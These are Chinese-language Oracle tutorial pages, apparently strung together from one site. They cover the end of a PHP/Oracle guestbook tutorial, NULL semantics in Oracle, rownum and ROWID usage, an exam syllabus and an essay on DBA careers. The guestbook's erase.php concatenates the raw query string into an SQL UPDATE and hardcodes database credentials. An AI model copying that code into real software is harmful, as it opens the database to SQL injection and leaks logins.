if ($guestbook[$i][6]!="") echo "</a>";
echo "<br>\n";
if ($WebmasterIP) echo "<a href=erase.php?".$guestbook[$i][0].">删除
本篇!!</a> (".$guestbook[$i][2].") &nbsp; ";
echo "<font size=-1 color=c0c0c0>from:
".$guestbook[$i][4]."</font><p>\n";
$msg=base64_decode($guestbook[$i][7]);
$msg=nl2br($msg);
echo $msg;
echo "<p>\n";
}

这一段程式就是真正显示留言资料给使用者看的程式了。利用 for 回圈，将$guestbook 阵列的资料按照设定的页数取出，显示给使用者看。值得一提的是，若看留言的机器 IP 为 $WebmasterIPArray 变数阵列中的一个元素的话，则会在留言者的匿称后显示 "删除本篇!!" 的字串，供管理人员删除不当留言。

以下即为删除留言的程式。

<?php
file://---------------------------
// 留言删除程式 erase.php
// Author: Wilson Peng
// Copyright (C) 2000
file://---------------------------
putenv("ORACLE_SID=WWW");
putenv("NLS_LANG=american_taiwan.zht16big5");
putenv("ORACLE_HOME=/home/oracle/product/7.3.2");
putenv("LD_LIBRARY_PATH=/home/oracle/product/7.3.2/lib");

putenv("ORA_NLS=/home/oracle/product/7.3.2/ocommon/nls/admin/data");

putenv("ORA_NLS32=/home/oracle/product/7.3.2/ocommon/nls/admin/data");

$handle=ora_logon("user38@WWW","iam3849") or die;
$cursor=ora_open($handle);
ora_commitoff($handle);

$query="UPDATE guestbook set flag='0' where
serial='".$QUERY_STRING."'";
ora_parse($cursor, $query) or die;
ora_exec($cursor);

ora_close($cursor);
ora_logoff($handle);

Header("Location: ./index.php");
?>

其实这个程式很单纯，只要打开 Oracle 资料库，将欲删除的序号那笔资料的flag 栏位设成 0 就可以了，不用将资料真的从资料库上移除。


Oracle技术网—漫谈oracle中的空值

漫 谈oracle 中 的 空 值

摘自：计算机世界日报

河 北 省 统 计 局 贾 书 民

---- 在 数 据 库 中， 空 值 用 来 表 示 实 际 值 未 知 或 无 意 义 的 情 况。 在 一 个 表 中， 如 果 一 行 中 的 某 列 没 有 值， 那 么 就 称 它 为 空 值（NULL）。 任 何 数 据 类 型 的 列, 只 要 没 有 使 用 非 空（NOT NULL） 或 主 键（PRIMARY KEY） 完 整 性 限 制， 都 可 以 出 现 空 值。 在 实 际 应 用 中， 如 果 忽 略 空 值 的 存 在， 将 会 造 成 造 成 不 必 要 的 麻 烦。

---- 例 如， 在 下 面 的 雇 员 表（EMP） 中， 雇 员 名（ENAME） 为KING 的 行， 因 为KING 为 最 高 官 员（PRESIDENT）， 他 没 有 主 管（MGR）， 所 以 其MGR 为 空 值。 因 为 不 是 所 有 的 雇 员 都 有 手 续 费（COMM）， 所 以 列COMM 允 许 有 空 值， 除300、500、1400、0 以 外 的 其 它 各 行COMM 均 为 空 值。

EMPNO ENAME    JOB       MGR HIREDATE    SAL   COMM  DEPTNO
---- -------- -------- --------- -------- ------ ---------
7369 SMITH     CLERK     7902 17-DEC-80  800           20
7499 ALLEN     SALESMAN  7698 20-FEB-81  1600    300   30
7521 WARD      SALESMAN  7698 22-FEB-81  1250    500   30
7566 JONES     MANAGER   7839 02-APR-81  2975          20
7654 MARTIN    SALESMAN  7698 28-SEP-81  1250   1400   30
7698 BLAKE     MANAGER   7839 01-MAY-81  2850          30
7782 CLARK     MANAGER   7839 09-JUN-81  2450          10
7788 SCOTT     ANALYST   7566 09-DEC-82  3000          20
7839 KING      PRESIDENT      17-NOV-81  5000          10
7844 TURNER    SALESMAN  7698 08-SEP-81  1500      0   30
7876 ADAMS     CLERK     7788 12-JAN-83  1100          20
7900 JAMES     CLERK     7698 03-DEC-81   950          30
7902 FORD      ANALYST   7566 03-DEC-81  3000          20
7934 MILLER    CLERK     7782 23-JAN-82  1300          10

---- 本 文 将 以 上 述EMP 表 为 例， 具 体 讨 论 一 下 空 值 在 日 常 应 用 中 所 具 有 的 一 些 特 性。

---- 一、 空 值 的 生 成 及 特 点

---- 1. 空 值 的 生 成

---- 如 果 一 列 没 有 非 空（NOT NULL） 完 整 性 限 制， 那 么 其 缺 省 的 值 为 空 值， 即 如 果 插 入 一 行 时 未 指 定 该 列 的 值， 则 其 值 为 空 值。

---- 使 用SQL 语 句INSERT 插 入 行， 凡 未 涉 及 到 的 列， 其 值 为 空 值； 涉 及 到 的 列， 如 果 其 值 确 实 为 空 值， 插 入 时 可 以 用NULL 来 表 示（ 对 于 字 符 型 的 列， 也 可 以 用'' 来 表 示）。

---- 例： 插 入 一 行， 其EMPNO 为1、ENAME 为'JIA'、SAL 为10000、job 和comm 为 空 值。

SQL >insert into emp(empno,ename,job,sal,comm)
values(1,'JIA',NULL,1000,NULL);
SQL >select * from emp where empno=1;
EMPNO ENAME  JOB   MGR HIREDATE    SAL    COMM    DEPTNO
--------- ---------- --------- --------- --------- ---------
        1 JIA         1000

---- 可 以 看 到 新 插 入 的 一 行， 除job 和comm 为 空 值 外，mgr、hiredate、deptno 三 列 由 于 插 入 时 未 涉 及， 也 为 空 值。

---- 使 用SQL 语 句UPDATE 来 修 改 数 据， 空 值 可 用NULL 来 表 示（ 对 于 字 符 型 的 列， 也 可 以 用'' 来 表 示）。 例:

SQL >update emp set ename=NULL,sal=NULL where empno=1;

---- 2. 空 值 的 特 点

---- 空 值 具 有 以 下 特 点：

---- * 等 价 于 没 有 任 何 值。

---- * 与 0、 空 字 符 串 或 空 格 不 同。

---- * 在where 条 件 中, Oracle 认 为 结 果 为NULL 的 条 件 为FALSE， 带 有 这 样 条 件 的select 语 句 不 返 回 行， 并 且 不 返 回 错 误 信 息。 但NULL 和FALSE 是 不 同 的。

---- * 排 序 时 比 其 他 数 据 都 大。

---- * 空 值 不 能 被 索 引。

---- 二、 空 值 的 测 试

---- 因 为 空 值 表 示 缺 少 数 据， 所 以 空 值 和 其 它 值 没 有 可 比 性， 即 不 能 用 等 于、 不 等 于、 大 于 或 小 于 和 其 它 数 值 比 较， 当 然 也 包 括 空 值 本 身（ 但 是 在decode 中 例 外， 两 个 空 值 被 认 为 是 等 价）。 测 试 空 值 只 能 用 比 较 操 作 符IS NULL 和IS NOT NULL。 如 果 使 用 带 有 其 它 比 较 操 作 符 的 条 件 表 达 式， 并 且 其 结 果 依 赖 于 空 值， 那 么 其 结 果 必 定 是NULL。 在where 条 件 中，Oracle 认 为 结 果 为NULL 的 条 件 为FALSE， 带 有 这 样 条 件 的select 语 句 不 返 回 行， 也 不 返 回 错 误 信 息。

---- 例 如 查 询EMP 表 中MGR 为NULL 的 行：

SQL >select * from emp where mgr='';
no rows selected
SQL >select * from emp where mgr=null;
no rows selected
SQL >select * from emp where mgr is null;
EMPNO ENAME  JOB  MGR HIREDATE   SAL  COMM  DEPTNO
---------- --------- --------- --------- ---------
7839 KING  PRESIDENT  17-NOV-81  5000        10

---- 第1、2 句 写 法 不 妥，WHERE 条 件 结 果 为NULL， 不 返 回 行。 第 三 句 正 确， 返 回MGR 为 空 值 的 行。

---- 三、 空 值 和 操 作 符

---- 1. 空 值 和 逻 辑 操 作 符

---- 逻 辑 操 作 符

---- 表 达 式

---- 结 果

AND
NULL AND TRUE
NULL

NULL AND FALSE
FALSE

NULL AND NULL
NULL
OR
NULL OR TRUE
TRUE

NULL OR FALSE
NULL

NULL OR NULL
NULL
NOT
NOT NULL
NULL

---- 可 以 看 到， 在 真 值 表 中， 除NULL AND FALSE 结 果 为FALSE、NULL OR TRUE 结 果 为TRUE 以 外， 其 它 结 果 均 为NULL。

---- 虽 然 在where 条 件 中，Oracle 认 为 结 果 为NULL 的WHERE 条 件 为FALSE， 但 在 条 件 表 达 式 中NULL 不 同 于FALSE。 例 如 在NOT （ NULL AND FALSE ） 和NOT （ NULL AND NULL ） 二 者 中 仅 有 一 处FALSE 和TRUE 的 区 别， 但NOT （ NULL AND FALSE ） 的 结 果 为 TRUE， 而NOT （ NULL AND NULL ） 的 结 果 为NULL。

---- 下 面 举 例 说 明 空 值 和 逻 辑 操 作 符 的 用 法：

SQL > select * from emp where not comm=null and comm!=0;
no rows selected
SQL > select * from emp where not ( not comm=null and comm!=0 );
EMPNO ENAME  JOB      MGR  HIREDATE  SAL  COMM  DEPTNO
 ---------- --------- --------- --------- ---------
7844 TURNER SALESMAN  7698 08-SEP-81 1500   0     30

---- 第 一 个Select 语 句， 条 件"not comm=null and comm!=0" 等 价 于NULL AND COMM!=0。 对 于 任 意 一 行， 如 果COMM 为 不 等 于0 的 数 值， 条 件 等 价 于NULL AND TRUE， 结 果 为NULL； 如 果COMM 等 于0， 条 件 等 价 于NULL AND FALSE， 结 果 为FALSE。 所 以， 最 终 结 果 不 返 回 行。

---- 第 二 个Select 语 句 的 条 件 为 第 一 个Select 语 句 条 件 的" 非"（NOT）， 对 于 任 意 一 行， 如 果COMM 为 不 等 于0 的 数 值， 条 件 等 价 于NOT NULL， 结 果 为NULL； 如 果COMM 等 于0， 条 件 等 价 于NOT FALSE， 结 果 为TRUE。 所 以， 最 终 结 果 返 回 行COMM 等 于0 的 行。

---- 2. 空 值 和 比 较 操 作 符

---- （1）IS [NOT] NULL： 是 用 来 测 试 空 值 的 唯 一 操 作 符（ 见" 空 值 的 测 试"）。

（2）=、!=、>=、<=、>、<
SQL >select ename,sal,comm from emp where sal >comm;
ENAME            SAL      COMM
---------- --------- ---------
ALLEN           1600       300
WARD            1250       500
TURNER          1500         0

---- sal 或comm 为 空 值 的 行，sal>comm 比 较 结 果 为NULL， 所 以 凡 是sal 或comm 为 空 值 的 行 都 没 有 返 回。

---- （3）IN 和NOT IN 操 作 符

SQL >select ename,mgr from emp where mgr in (7902,NULL);
ENAME            MGR
---------- ---------
SMITH           7902

---- 在 上 述 语 句 中， 条 件"mgr in (7902,NULL)" 等 价 于mgr=7902 or mgr=NULL。 对 于 表EMP 中 的 任 意 一 行， 如 果mgr 为NULL， 则 上 述 条 件 等 价 于NULL OR NULL， 即 为NULL； 如 果mgr 为 不 等 于7902 的 数 值， 则 上 述 条 件 等 价 于FALSE OR NULL， 即 为NULL； 如 果mgr 等 于7902， 则 上 述 条 件 等 价 于TRUE OR NULL， 即 为TRUE。 所 以， 最 终 结 果 能 返 回mgr 等 于7902 的 行。

SQL >select deptno from emp where deptno not in ('10',NULL);
no rows selected

---- 在 上 述 语 句 中， 条 件"deptno not in ('10',NULL)" 等 价 于deptno!='10' and deptno!=NULL， 对 于EMP 表 中 的 任 意 一 行， 条 件 的 结 果 只 能 为NULL 或FALSE， 所 以 不 返 回 行。

---- （4）any,some

SQL >select ename,sal from emp where sal > any(3000,null);
ENAME            SAL
---------- ---------
KING            5000

---- 条 件"sal > any(3000,null)" 等 价 于sal >3000 or sal >null。 类 似 前 述（3） 第 一 句， 最 终 结 果 返 回 所 有sal >3000 的 行。

---- （5）All

SQL >select ename,sal from emp where sal > all(3000,null);
no rows selected

---- 条 件"sal> all(3000,null)" 等 价 于sal >3000 and sal >null, 结 果 只 能 为NULL 或FALSE， 所 以 不 返 回 行。

---- （6）（not）between

SQL >select ename,sal from emp where sal between null and 3000;
no rows selected

---- 条 件"sal between null and 3000" 等 价 于sal >=null and sal< =3000, 结 果 只 能 为NULL 或FALSE， 所 以 不 返 回 行。

SQL >select ename,sal from emp where sal not between null and 3000;
ENAME            SAL
---------- ---------
KING            5000

---- 条 件"sal not between null and 3000" 等 价 于sal3000, 类 似 前 述（3） 的 第 一 句， 结 果 返 回sal>3000 的 行。

---- 下 表 为 比 较 操 作 符 和 空 值 的 小 结：

---- 比 较 操 作 符

---- 表 达 式（ 例：A、B 是NULL、C=10）

---- 结 果

IS NULL、IS NOT NULL
A IS NULL
TRUE

A IS NOT NULL
FALSE

C IS NULL
FALSE

C IS NOT NULL
TRUE
=、!=、>=、< =、>、<
A = NULL
NULL

A > NULL
NULL

C = NULL
NULL

C > NULL
NULL
IN (=ANY)
A IN (10,NULL)
NULL

C IN (10,NULL)
TRUE

C IN (20,NULL)
NULL
NOT IN
( 等 价 于 ！=ALL)
A NOT IN (20,NULL)
NULL

C NOT IN (20,NULL)
FALSE

C NOT IN (10,NULL)
NULL
ANY，SOME
A > ANY(5,NULL)
NULL

C > ANY(5,NULL)
TRUE

C > ANY(15,NULL)
NULL
ALL
A > ALL(5,NULL)
NULL

C > ALL(5,NULL)
NULL

C > ALL(15,NULL)
FALSE
(NOT)BETWEEN
A BETWEEN 5 AND NULL
NULL

C BETWEEN 5 AND NULL
NULL

C BETWEEN 15 AND NULL
FALSE

A NOT BETWEEN 5 AND NULL
NULL

C NOT BETWEEN 5 AND NULL
NULL

C NOT BETWEEN 15 AND NULL
TRUE

---- 3、 空 值 和 算 术、 字 符 操 作 符

---- （1） 算 术 操 作 符： 空 值 不 等 价 于0， 任 何 含 有 空 值 的 算 术 表 达 式 其 运 算 结 果 都 为 空 值， 例 如 空 值 加10 为 空 值。

---- （2） 字 符 操 作 符||： 因 为ORACLE 目 前 处 理 零 个 字 符 值 的 方 法 与 处 理 空 值 的 方 法 相 同（ 日 后 的 版 本 中 不 一 定 仍 然 如 此）， 所 以 对 于||， 空 值 等 价 于 零 个 字 符 值。 例：

SQL >select ename,mgr,ename||mgr,sal,comm,sal+comm from emp;
ENAME            MGR ENAME||MGR          SAL      COMM  SAL+COMM
---------- --------- ------------- --------- --------- ---------
SMITH           7902 SMITH7902           800
ALLEN           7698 ALLEN7698          1600       300      1900
WARD            7698 WARD7698           1250       500      1750
JONES           7839 JONES7839          2975
MARTIN          7698 MARTIN7698         1250      1400      2650
BLAKE           7839 BLAKE7839          2850
CLARK           7839 CLARK7839          2450
SCOTT           7566 SCOTT7566          3000
KING                 KING               5000
TURNER          7698 TURNER7698         1500         0      1500
ADAMS           7788 ADAMS7788          1100
JAMES           7698 JAMES7698           950
FORD            7566 FORD7566           3000
MILLER          7782 MILLER7782         1300

---- 我 们 可 以 看 到， 凡mgr 为 空 值 的，ename||mgr 结 果 等 于ename； 凡 是comm 为 空 值 的 行，sal+comm 均 为 空 值。

---- 四、 空 值 和 函 数

---- 1 ． 空 值 和 度 量 函 数

---- 对 于 度 量 函 数， 如 果 给 定 的 参 数 为 空 值， 则 其（NVL、TRANSLATE 除 外） 返 回 值 为 空 值。 如 下 例 中 的ABS（COMM）， 如 果COMM 为 空 值，ABS(COMM) 为 空 值。

SQL > select ename,sal,comm,abs(comm) from emp where sal< 1500;
ENAME            SAL      COMM ABS(COMM)
---------- --------- --------- ---------
SMITH            800
WARD            1250       500       500
MARTIN          1250      1400      1400
ADAMS           1100
JAMES            950
MILLER          1300

---- 2. 空 值 和 组 函 数

---- 组 函 数 忽 略 空 值。 在 实 际 应 用 中， 根 据 需 要 可 利 用nvl 函 数 用 零 代 替 空 值。 例：

SQL >select count(comm),sum(comm),avg(comm) from emp;
COUNT(COMM) SUM(COMM) AVG(COMM)
----------- --------- ---------
          4      2200       550
SQL >select count(nvl(comm,0)),sum(nvl(comm,0)),avg(nvl(comm,0))
from emp;
COUNT(NVL(COMM,0)) SUM(NVL(COMM,0)) AVG(NVL(COMM,0))
------------------ ---------------- ----------------
                14             2200        157.14286

---- 第 一 个SELECT 语 句 忽 略COMM 为 空 值 的 行， 第 二 个SELECT 语 句 使 用NVL 函 数 统 计 了 所 有 的COMM， 所 以 它 们 统 计 的 个 数、 平 均 值 都 不 相 同。 另 外 需 要 注 意 的 是， 在 利 用 组 函 数 进 行 数 据 处 理 时， 不 同 的 写 法 具 有 不 同 的 不 同 含 义， 在 实 际 应 用 中 应 灵 活 掌 握。 例 如：

SQL >select deptno,sum(sal),sum(comm),
sum(sal+comm),sum(sal)+sum(comm),sum(nvl(sal,0)+nvl(comm,0))
from emp
group by deptno;
   DEPTNO  SUM(SAL) SUM(COMM) SUM(SAL+COMM) SUM(SAL)
+SUM(COMM) SUM(NVL(SAL,0)+NVL(COMM,0))
--------- --------- --------- ------------- -------
       10   8750                             8750
       20   10875                            10875
       30   9400      2200       7800        11600 11600

---- 可 以 看 到SUM(SAL+COMM)、SUM(SAL)+SUM(COMM)、 SUM(NVL(SAL,0)+NVL(COMM,0)) 的 区 别：SUM(SAL+COMM) 为 先 加 然 后 计 算 各 行 的 和， 如 果SAL、COMM 中 有 一 个 为NULL， 则 该 行 忽 略 不 计；SUM(SAL)+SUM(COMM) 为 先 计 算 各 行 的 合 计 然 后 再 加，SAL、COMM 中 的NULL 都 忽 略 不 计， 但 如 果 SUM(SAL)、SUM(COMM) 二 者 的 结 果 之 中 有 一 个 为NULL， 则 二 者 之 和 为NULL； 在SUM(NVL(SAL,0)+NVL(COMM,0)) 里，SAL、COMM 中 的NULL 按0 处 理。

---- 五、 空 值 的 其 它 特 性

---- 1. 空 值 在 排 序 时 大 于 任 何 值。 例 如：

SQL > select ename,comm from emp where deptno='30' order by comm；
ENAME           COMM
---------- ---------
TURNER             0
ALLEN            300
WARD             500
MARTIN          1400
BLAKE
JAMES

---- 2. 空 值 不 能 被 索 引。 虽 然 在 某 列 上 建 立 了 索 引， 但 是 对 该 列 的 空 值 查 询 来 说， 因 为 空 值 没 有 被 索 引， 所 以 不 能 改 善 查 询 的 效 率。 例 如 下 面 的 查 询 不 能 利 用 在MGR 列 上 创 建 的 索 引。

SQL >select ename from emp where mgr is null;
ENAME
----------
KING

---- 另 外 正 是 因 为 空 值 不 被 索 引， 所 以 可 在 含 有 空 值 的 列 上 建 立 唯 一 性 索 引（UNIQUE INDEX）。 例 如， 可 以 在EMP 表 的COMM 列 上 建 立 唯 一 性 索 引：

SQL >  create unique index emp_comm on emp(comm);
Index created.


Oracle技术网—如何正确利用Rownum来限制查询所返回的行数

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
如何正确利用Rownum来限制查询所返回的行数？
  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 含义解释：
      1、rownum是oracle系统顺序分配为从查询返回的行的编号，返回的第一行分配的是1，第二行是2，
         依此类推，这个伪字段可以用于限制查询返回的总行数。
      2、rownum不能以任何基表的名称作为前缀。
  • 使用方法：
    现有一个商品销售表sale，表结构为：
month　　　 char(6)　　　　　 --月份
sell　　　　number(10,2)　　　--月销售金额

create table sale (month char(6),sell number);
insert into sale values('200001',1000);
insert into sale values('200002',1100);
insert into sale values('200003',1200);
insert into sale values('200004',1300);
insert into sale values('200005',1400);
insert into sale values('200006',1500);
insert into sale values('200007',1600);
insert into sale values('200101',1100);
insert into sale values('200202',1200);
insert into sale values('200301',1300);
insert into sale values('200008',1000);
commit;

SQL> select rownum,month,sell from sale where rownum=1;（可以用在限制返回记录条数的地方，保证不出错，如：隐式游标）

   ROWNUM MONTH       SELL
--------- ------ ---------
        1 200001      1000

SQL> select rownum,month,sell from sale where rownum=2;（1以上都查不到记录）

没有查到记录

SQL> select rownum,month,sell from sale where rownum>5;
（由于rownum是一个总是从1开始的伪列，Oracle 认为这种条件不成立，查不到记录）

没有查到记录

只返回前3条纪录
SQL> select rownum,month,sell from sale where rownum<4;

   ROWNUM MONTH       SELL
--------- ------ ---------
        1 200001      1000
        2 200002      1100
        3 200003      1200

如何用rownum实现大于、小于逻辑？（返回rownum在4—10之间的数据）（minus操作，速度会受影响）
SQL> select rownum,month,sell from sale where rownum<10
  2  minus
  3  select rownum,month,sell from sale where rownum<5;

   ROWNUM MONTH       SELL
--------- ------ ---------
        5 200005      1400
        6 200006      1500
        7 200007      1600
        8 200101      1100
        9 200202      1200

想按日期排序，并且用rownum标出正确序号（有小到大）
SQL> select rownum,month,sell from sale order by month;

   ROWNUM MONTH       SELL
--------- ------ ---------
        1 200001      1000
        2 200002      1100
        3 200003      1200
        4 200004      1300
        5 200005      1400
        6 200006      1500
        7 200007      1600
       11 200008      1000
        8 200101      1100
        9 200202      1200
       10 200301      1300

查询到11记录.

可以发现，rownum并没有实现我们的意图，系统是按照记录入库时的顺序给记录排的号，rowid也是顺序分配的

SQL> select rowid,rownum,month,sell from sale order by rowid;

ROWID                 ROWNUM MONTH       SELL
------------------ --------- ------ ---------
000000E4.0000.0002         1 200001      1000
000000E4.0001.0002         2 200002      1100
000000E4.0002.0002         3 200003      1200
000000E4.0003.0002         4 200004      1300
000000E4.0004.0002         5 200005      1400
000000E4.0005.0002         6 200006      1500
000000E4.0006.0002         7 200007      1600
000000E4.0007.0002         8 200101      1100
000000E4.0008.0002         9 200202      1200
000000E4.0009.0002        10 200301      1300
000000E4.000A.0002        11 200008      1000

查询到11记录.

正确用法，使用子查询
SQL> select rownum,month,sell from (select month,sell from sale group by month,sell) where rownum<13;

   ROWNUM MONTH       SELL
--------- ------ ---------
        1 200001      1000
        2 200002      1100
        3 200003      1200
        4 200004      1300
        5 200005      1400
        6 200006      1500
        7 200007      1600
        8 200008      1000
        9 200101      1100
       10 200202      1200
       11 200301      1300

按销售金额排序，并且用rownum标出正确序号（有小到大）
SQL> select rownum,month,sell from (select sell,month from sale group by sell,month) where rownum<13;

   ROWNUM MONTH       SELL
--------- ------ ---------
        1 200001      1000
        2 200008      1000
        3 200002      1100
        4 200101      1100
        5 200003      1200
        6 200202      1200
        7 200004      1300
        8 200301      1300
        9 200005      1400
       10 200006      1500
       11 200007      1600

查询到11记录.

利用以上方法，如在打印报表时，想在查出的数据中自动加上行号，就可以利用rownum。

返回第5—9条纪录，按月份排序
SQL> select * from (select rownum row_id ,month,sell
  2  from (select month,sell from sale group by month,sell))
  3  where row_id between 5 and 9;

    ROW_ID MONTH        SELL
---------- ------ ----------
         5 200005       1400
         6 200006       1500
         7 200007       1600
         8 200008       1000
         9 200101       1100

                                                        阿木伯

           转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/
Decode()函数使用技巧


Oracle技术网—什么是ROWID，为什么需要它

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
什么是ROWID，为什么需要它？

      ROWID是数据行在物理磁盘上的物理地址，Oracle通过ROWID来定位数据的具体位置，这是存取表中数据的最快的方法

      Oracle8中的ROWID格式和Oracle7中的不一样


Oracle技术网—数据库技术考试大纲（中级）

数据库技术考试大纲（中级）

摘自：http://www.cnnews.com/

    一、考试说明

    1．考试要求：

    （1）掌握计算机基本原理和操作；

    （2）掌握数据库的基本原理和理论；

    （3）掌握一种数据库管理系统（ORACLE或SYBASE或INFORMIX或……）的知识及开发工具的使用；

    （4）熟悉数据库设计的基本理论和方法；

    （5）熟悉结构化查询语言SQL及其使用；

    （6）熟悉数据库系统的实施和维护；

    （7）了解数据库技术的发展动向。

    2．通过本级水平考试的合格人员将表明其具有计算机数据库应用程序开发和数据管理的能力，可从事数据库系统应角程序开发和数据库管理等工作，具有相当工程师的实际工作能力和业务水平。

    3．本级水平考试范围包括三个模块，即模块1、模块2和模块3。题型为：单项选择题十多项选择题。每个模块考试时间为9Q分钟。

    二、考试范围

    模块1：基础知识（中级）

    1/1 计算机基本原理

    计算机系统组成计算机硬件结构和部件计算机软件功能和分类计算机工作原理计算机数据表示中央处理器存储设备输入、输出设备计算机体系结构体系结构的发展体系结构的分类指令系统存储体系I/O通道与总线并行处理技术

    1/2 操作系统操作系统基本功能UNIX操作系统的使用基本概念：文件，目录，设备，进程，命令解释器UNIX基本操作UNIX文件系统的使用UNIX的基本命令Shell和CShell命令解释器系统的安装与维护Windows NT的使用基本概念：Windows NT网络的模式，资源共享概念，组概念，域用户概念Windows NT基本技巧网络的配置和管理程序管理器的使用文件管理器的使用控制面板打印管理器系统维护

    1/3 数据库基本原理

    数据库基本概念数据模型数据库系统结构关系数据库数据库保护

    模块2：应用基础知识（中级）

    2/1 结构化查询语言SQL

    SQL语言的特点SQL语言的功能SQL语言标准

    2/2 关系数据理论初步函数依赖关系模式的分解规范化理论

    2/3 数据库设计

    数据库设计方法与步骤系统规划需求分析概念设计逻辑设计物理设计

    模块3：应用知识（中级）

    3/1 数据库管理系统ORACLE及其工具软件（A类）

    ORACLE数据库结构特点ORACLE数据库结构ORACLE数据字典ORACLE数据类型ORACLE DBMS的性能特点ORACLE的开发工具SQL和PL／SQL数据库管理ORACLE服务器体系结构数据库建立和启动数据管理、容量扩展和用户添加安全性管理和数据完整性控制客户机／服务器连接PL／SQL数据库程序设计服务器端应用开发数据存储表和索引管理权限控制数据完整性维护客户端应用开发Developer／2000技术和部件Developer／2000 Form，Reports，Graphics

    3/2 数据库管理系统SYBASE及其工具软件（B类） SYBASE客户机／服务器体系结构特点SYBASE DBMS的组成功能和性能特点SYBASE数据库语言T-SQL客户端应用开发工具Power Builder数据库系统管理员职责及SYBASE系统管理工具SYBASE SQL服务器基本框架系统数据库数据字典系统过程接口文件环境变量资源和用户管理SYBASE SQL服务器基本配置参数调整事务管理与数据库备份和恢复0SYBASE SQL服务器的监控与排错

    3/3 数据库管理系统INFORMIX及其工具软件（C类）

    1.第四代应用开发工具INFORMIX一4GL

    创建数据库录入界面和菜单在应用程序中有效地使用SQL语句在应用程序中使用事务处理使用屏幕数组生成客户报表执行动态SQL语句

    2.嵌入式SQL语言INFORMIX-ESOL／C

    在c程序中嵌套SQL语句完成INFORMIX数据库操作使用游标对记录进行修改使用所有的SQL数据类型建立和运行动态SQL语句在C程序中编制基于SQL的高效应用程序

    3.与应用开发相关的INFORMIX数据库特性

    分段存储索引数据库约束查询优化

    4.INFORMIX动态服务器性能特点及性能调控

    INFORMIX动态服务器监控工具分析系统的性能数据分布管理内存和CPU系统资源

    5.INFORMIX动态服务器数据库的管理和优化

    INFORMIX动态服务器数据类型创建数据库、表、索引数据安全性控制数据完整性维护并发性的维护控制性能提高数据卸出和装人工具

    3/4 数据库系统的实施与维护

    1.数据加载

    2.应有程序调试

    3.数据库试运行

    4.数据库的运行与维护

    数据库系统性能优化数据库空间及碎片管理数据库管理员（DBA）实用技术数据卸载技术

    3/5 数据库的发展动向

    数据库系统的客户／服务器结构分布式数据库系统并行数据库系统


Oracle技术网—数据库行业的现状和展望

数据库行业的现状和展望
来源：天极网
作者：思索 整理：南海
    近年来，我一直在和数据库管理员打交道，并直接面试了很多DBA职位。本文想概括一下IT行业对DBA的要求，以及国内DBA的新资现状。可以肯定地说，做一个高级DBA是很不错的职业。如果你打算成为一名DBA，那么希望本文起到抛砖引玉的作用。

什么是DBA

    数据库管理员，英文是Database Administrator，简称DBA。这个职位对不同的人意味着不同的意义。一个小的软件开发工作室和一个分工高度明细的大公司相比，DBA的职责来得更加宽泛一些。一个公司，不管它是自己开发应用软件，还是购买第三方的应用软件，只要涉及到数据库（有多少不涉及数据库的应用软件呢？数据库是商业的灵魂和大脑啊），就需要确定是否雇佣一个或几个DBA。知道DBA这个职位有哪些要求，对于企业内部这个职位的定义或者对于那些未来的DBA将是至关重要的。下面我列出了DBA的一些职责：

    1. 安装和升级数据库服务器（如Oracle、Microsoft SQL server），以及应用程序工具。
    2. 数据库设计系统存储方案，并制定未来的存储需求计划。
    3. 一旦开发人员设计了一个应用，就需要DBA来创建数据库存储结构（tablespaces）。
    4. 一旦开发人员设计了一个应用，就需要DBA来创建数据库对象（tables,views,indexes）。
    5. 根据开发人员的反馈信息，必要的时候，修改数据库的结构。
    6. 登记数据库的用户，维护数据库的安全性。
    7. 保证数据库的使用符合知识产权相关法规。
    8. 控制和监控用户对数据库的存取访问。
    9. 监控和优化数据库的性能。
    10. 制定数据库备份计划，灾难出现时对数据库信息进行恢复
    11. 维护适当介质上的存档或者备份数据
    12. 备份和恢复数据库
    13. 联系数据库系统的生产厂商，跟踪技术信息。

DBA的个性特点

    很多时候管理人员都忽视了DBA的个性特点，他们只关注DBA的技术能力。实际上，上面谈到的每个职责都意味着：DBA需要跟各种人员打交道，这些人员可能是销售商、用户、开发人员或者管理人员。这说明：DBA必须具有下面的个性特点：

    1. 自信心
    2. 好奇心
    3. 坚韧的意志力
    4. 老练
    5. 自我驱动
    6. 注意细节

为什么这些个性特点很重要呢？

    我就有几个缺乏自信心的部下，他们反复问我一些事无巨细的问题，他们没有信心哪怕做最小的决定。他们也缺乏工作的主动性。这对于初级DBA来说可能问题不太大，但对于那些高级DBA来说，如果他们缺乏自信心，他们又可以依赖谁帮他们决策呢？在DBA的面试中，即使你不能回答某个技术问题，你也要表现出足够的自信心。最致命的不是不知道问题的答案，而是不知道从哪儿得到答案。

    几乎所有的数据库系统都在不停地更新。但并不是所有的更新都有技术文档。对于好的DBA来说，好奇心是必需的。没有好奇心和求知欲的DBA总是等待有人告诉他们答案。而一个求知欲强的DBA将安装最新版本的数据库系统，并立即开始搜寻那些哪怕是细微的功能和性能上的差异和增强，从而改进自己的工作。应试时一个必然问及的问题是：你手头有哪些参考资料？你如何使用它们？毫无疑问，如果你只回答了数据库的文档，或者你甚至没有读过他们，你的"股票市值"将大大下降。好奇心会驱使DBA们理解数据字典(Data Dictionary)、管理工具(Tools)或者其他支持包(Packages)。

    DBA常常会碰到棘手的问题。寻找答案是一个需要坚韧意志力、可以经受摔打的个性特点。我常常在一些讨论组或者论坛上看到DBA们提出的问题，这些问题往往是提问者自己可以解决的，如果他们具有坚韧的个性特点，并努力寻求问题的答案。

    自我驱动对每个人都是很重要的，对DBA尤其如此。DBA要能想办法使问题出现，而不是等待问题的出现。自驱力强的DBA常常设法取得或者自己写一些必要的脚本(Script)来监控包括数据表大小(Table Size)、表空间使用(Tablespace Usage)等项目，这些项目如果被忽视，他们将遇到麻烦。应试的时候DBA们常常被问及在PL/SQL、SQL或者SQL*PLUS方面的经验，这些问题将把你从从来没有编写过自己需要的脚本的那些DBA们区分开。

    不用说和用户，就是和程序员和管理人员打交道，也需要你足够老练。一个一点不会处事的DBA不会为你做什么好事，只会在你的部门点燃敌对情绪的烈火。老练是这样一种能力，你劝告某个人到地府去，哈哈，最后这个人怀着渴望的心情去了。很多时候，开发者、管理者、用户，他们会提出毫无道理的需求，DBA们需要老练地引导、修正它们的要求，说服他们。在应试时，你的应对就很能说明你是否老练。
